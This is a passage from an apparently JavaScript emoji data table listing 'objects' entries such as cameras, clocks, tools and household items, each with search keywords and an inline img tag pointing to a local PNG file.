    category: "objects"
  },
  clamp: {
    keywords: [ "tool" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udddc" src="1f5dc.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  minidisc: {
    keywords: [ "technology", "record", "data", "disk", "90s" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcbd" src="1f4bd.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  floppy_disk: {
    keywords: [ "oldschool", "technology", "save", "90s", "80s" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcbe" src="1f4be.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  cd: {
    keywords: [ "technology", "dvd", "disk", "disc", "90s" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcbf" src="1f4bf.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  dvd: {
    keywords: [ "cd", "disk", "disc" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc0" src="1f4c0.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  vhs: {
    keywords: [ "record", "video", "oldschool", "90s", "80s" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcfc" src="1f4fc.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  camera: {
    keywords: [ "gadgets", "photography" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf7" src="1f4f7.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  camera_flash: {
    keywords: [ "photography", "gadgets" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf8" src="1f4f8.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  video_camera: {
    keywords: [ "film", "record" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf9" src="1f4f9.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  movie_camera: {
    keywords: [ "film", "record" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa5" src="1f3a5.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  film_projector: {
    keywords: [ "video", "tape", "record", "movie" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcfd" src="1f4fd.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  film_strip: {
    keywords: [ "movie" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf9e" src="1f39e.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  telephone_receiver: {
    keywords: [ "technology", "communication", "dial" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcde" src="1f4de.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  phone: {
    keywords: [ "technology", "communication", "dial", "telephone" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u260e\ufe0f" src="260e.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  pager: {
    keywords: [ "bbcall", "oldschool", "90s" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcdf" src="1f4df.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  fax: {
    keywords: [ "communication", "technology" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce0" src="1f4e0.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  tv: {
    keywords: [ "technology", "program", "oldschool", "show", "television" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcfa" src="1f4fa.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  radio: {
    keywords: [ "communication", "music", "podcast", "program" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcfb" src="1f4fb.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  studio_microphone: {
    keywords: [ "sing", "recording", "artist", "talkshow" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf99" src="1f399.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  level_slider: {
    keywords: [ "scale" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf9a" src="1f39a.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  control_knobs: {
    keywords: [ "dial" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf9b" src="1f39b.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  compass: {
    keywords: [ "magnetic", "navigation", "orienteering" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udded" src="1f9ed.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  stopwatch: {
    keywords: [ "time", "deadline" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f1" src="23f1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  timer_clock: {
    keywords: [ "alarm" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f2" src="23f2.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  alarm_clock: {
    keywords: [ "time", "wake" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f0" src="23f0.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  mantelpiece_clock: {
    keywords: [ "time" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd70" src="1f570.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  hourglass_flowing_sand: {
    keywords: [ "oldschool", "time", "countdown" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f3" src="23f3.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  hourglass: {
    keywords: [ "time", "clock", "oldschool", "limit", "exam", "quiz", "test" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u231b" src="231b.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  satellite: {
    keywords: [ "communication", "future", "radio", "space" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce1" src="1f4e1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  battery: {
    keywords: [ "power", "energy", "sustain" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0b" src="1f50b.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  electric_plug: {
    keywords: [ "charger", "power" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0c" src="1f50c.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  bulb: {
    keywords: [ "light", "electricity", "idea" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca1" src="1f4a1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  flashlight: {
    keywords: [ "dark", "camping", "sight", "night" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd26" src="1f526.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  candle: {
    keywords: [ "fire", "wax" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd6f" src="1f56f.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  fire_extinguisher: {
    keywords: [ "quench" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddef" src="1f9ef.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  wastebasket: {
    keywords: [ "bin", "trash", "rubbish", "garbage", "toss" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddd1" src="1f5d1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  oil_drum: {
    keywords: [ "barrell" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee2" src="1f6e2.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  money_with_wings: {
    keywords: [ "dollar", "bills", "payment", "sale" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb8" src="1f4b8.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  dollar: {
    keywords: [ "money", "sales", "bill", "currency" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb5" src="1f4b5.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  yen: {
    keywords: [ "money", "sales", "japanese", "dollar", "currency" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb4" src="1f4b4.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  euro: {
    keywords: [ "money", "sales", "dollar", "currency" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb6" src="1f4b6.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  pound: {
    keywords: [ "british", "sterling", "money", "sales", "bills", "uk", "england", "currency" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb7" src="1f4b7.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  moneybag: {
    keywords: [ "dollar", "payment", "coins", "sale" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb0" src="1f4b0.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  credit_card: {
    keywords: [ "money", "sales", "dollar", "bill", "payment", "shopping" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb3" src="1f4b3.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  gem: {
    keywords: [ "blue", "ruby", "diamond", "jewelry" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8e" src="1f48e.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  balance_scale: {
    keywords: [ "law", "fairness", "weight" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2696" src="2696.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  toolbox: {
    keywords: [ "tools", "diy", "fix", "maintainer", "mechanic" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf0" src="1f9f0.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  wrench: {
    keywords: [ "tools", "diy", "ikea", "fix", "maintainer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd27" src="1f527.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  hammer: {
    keywords: [ "tools", "build", "create" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd28" src="1f528.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  hammer_and_pick: {
    keywords: [ "tools", "build", "create" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2692" src="2692.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  hammer_and_wrench: {
    keywords: [ "tools", "build", "create" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee0" src="1f6e0.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  pick: {
    keywords: [ "tools", "dig" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26cf" src="26cf.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  nut_and_bolt: {
    keywords: [ "handy", "tools", "fix" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd29" src="1f529.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  gear: {
    keywords: [ "cog" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2699" src="2699.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  brick: {
    keywords: [ "bricks" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf1" src="1f9f1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  chains: {
    keywords: [ "lock", "arrest" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26d3" src="26d3.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  magnet: {
    keywords: [ "attraction", "magnetic" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf2" src="1f9f2.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  gun: {
    keywords: [ "violence", "weapon", "pistol", "revolver" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2b" src="1f52b.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  bomb: {
    keywords: [ "boom", "explode", "explosion", "terrorism" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca3" src="1f4a3.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  firecracker: {
    keywords: [ "dynamite", "boom", "explode", "explosion", "explosive" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde8" src="1f9e8.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  hocho: {
    keywords: [ "knife", "blade", "cutlery", "kitchen", "weapon" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2a" src="1f52a.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  dagger: {
    keywords: [ "weapon" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udde1" src="1f5e1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  crossed_swords: {
    keywords: [ "weapon" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2694" src="2694.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  shield: {
    keywords: [ "protection", "security" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee1" src="1f6e1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  smoking: {
    keywords: [ "kills", "tobacco", "cigarette", "joint", "smoke" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeac" src="1f6ac.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  skull_and_crossbones: {
    keywords: [ "poison", "danger", "deadly", "scary", "death", "pirate", "evil" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2620" src="2620.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  coffin: {
    keywords: [ "vampire", "dead", "die", "death", "rip", "graveyard", "cemetery", "casket", "funeral", "box" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26b0" src="26b0.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  funeral_urn: {
    keywords: [ "dead", "die", "death", "rip", "ashes" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26b1" src="26b1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  amphora: {
    keywords: [ "vase", "jar" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udffa" src="1f3fa.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  crystal_ball: {
    keywords: [ "disco", "party", "magic", "circus", "fortune_teller" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2e" src="1f52e.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  prayer_beads: {
    keywords: [ "dhikr", "religious" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcff" src="1f4ff.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  nazar_amulet: {
    keywords: [ "bead", "charm" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddff" src="1f9ff.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  barber: {
    keywords: [ "hair", "salon", "style" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc88" src="1f488.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  alembic: {
    keywords: [ "distilling", "science", "experiment", "chemistry" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2697" src="2697.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  telescope: {
    keywords: [ "stars", "space", "zoom", "science", "astronomy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2d" src="1f52d.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  microscope: {
    keywords: [ "laboratory", "experiment", "zoomin", "science", "study" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2c" src="1f52c.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  hole: {
    keywords: [ "embarrassing" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd73" src="1f573.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  pill: {
    keywords: [ "health", "medicine", "doctor", "pharmacy", "drug" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8a" src="1f48a.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  syringe: {
    keywords: [ "health", "hospital", "drugs", "blood", "medicine", "needle", "doctor", "nurse" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc89" src="1f489.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  dna: {
    keywords: [ "biologist", "genetics", "life" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddec" src="1f9ec.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  microbe: {
    keywords: [ "amoeba", "bacteria", "germs" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udda0" src="1f9a0.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  petri_dish: {
    keywords: [ "bacteria", "biology", "culture", "lab" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddeb" src="1f9eb.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  test_tube: {
    keywords: [ "chemistry", "experiment", "lab", "science" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddea" src="1f9ea.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  thermometer: {
    keywords: [ "weather", "temperature", "hot", "cold" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf21" src="1f321.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  broom: {
    keywords: [ "cleaning", "sweeping", "witch" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf9" src="1f9f9.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  basket: {
    keywords: [ "laundry" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddfa" src="1f9fa.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  toilet_paper: {
    keywords: [ "roll" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddfb" src="1f9fb.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  label: {
    keywords: [ "sale", "tag" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff7" src="1f3f7.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  bookmark: {
    keywords: [ "favorite", "label", "save" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd16" src="1f516.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  toilet: {
    keywords: [ "restroom", "wc", "washroom", "bathroom", "potty" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udebd" src="1f6bd.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  shower: {
    keywords: [ "clean", "water", "bathroom" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udebf" src="1f6bf.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  bathtub: {
    keywords: [ "clean", "shower", "bathroom" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec1" src="1f6c1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  soap: {
    keywords: [ "bar", "bathing", "cleaning", "lather" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddfc" src="1f9fc.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  sponge: {
    keywords: [ "absorbing", "cleaning", "porous" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddfd" src="1f9fd.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  lotion_bottle: {
    keywords: [ "moisturizer", "sunscreen" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf4" src="1f9f4.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  key: {
    keywords: [ "lock", "door", "password" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd11" src="1f511.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  old_key: {
    keywords: [ "lock", "door", "password" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udddd" src="1f5dd.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  couch_and_lamp: {
    keywords: [ "read", "chill" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udecb" src="1f6cb.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  sleeping_bed: {
    keywords: [ "bed", "rest" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udecc" src="1f6cc.png"/>',
    fitzpatrick_scale: true,
    category: "objects"
  },
  bed: {
    keywords: [ "sleep", "rest" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udecf" src="1f6cf.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  door: {
    keywords: [ "house", "entry", "exit" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeaa" src="1f6aa.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  bellhop_bell: {
    keywords: [ "service" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udece" src="1f6ce.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  teddy_bear: {
    keywords: [ "plush", "stuffed" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf8" src="1f9f8.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  framed_picture: {
    keywords: [ "photography" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddbc" src="1f5bc.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  world_map: {
    keywords: [ "location", "direction" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddfa" src="1f5fa.png"/>',
    fitzpatrick_scale: false,
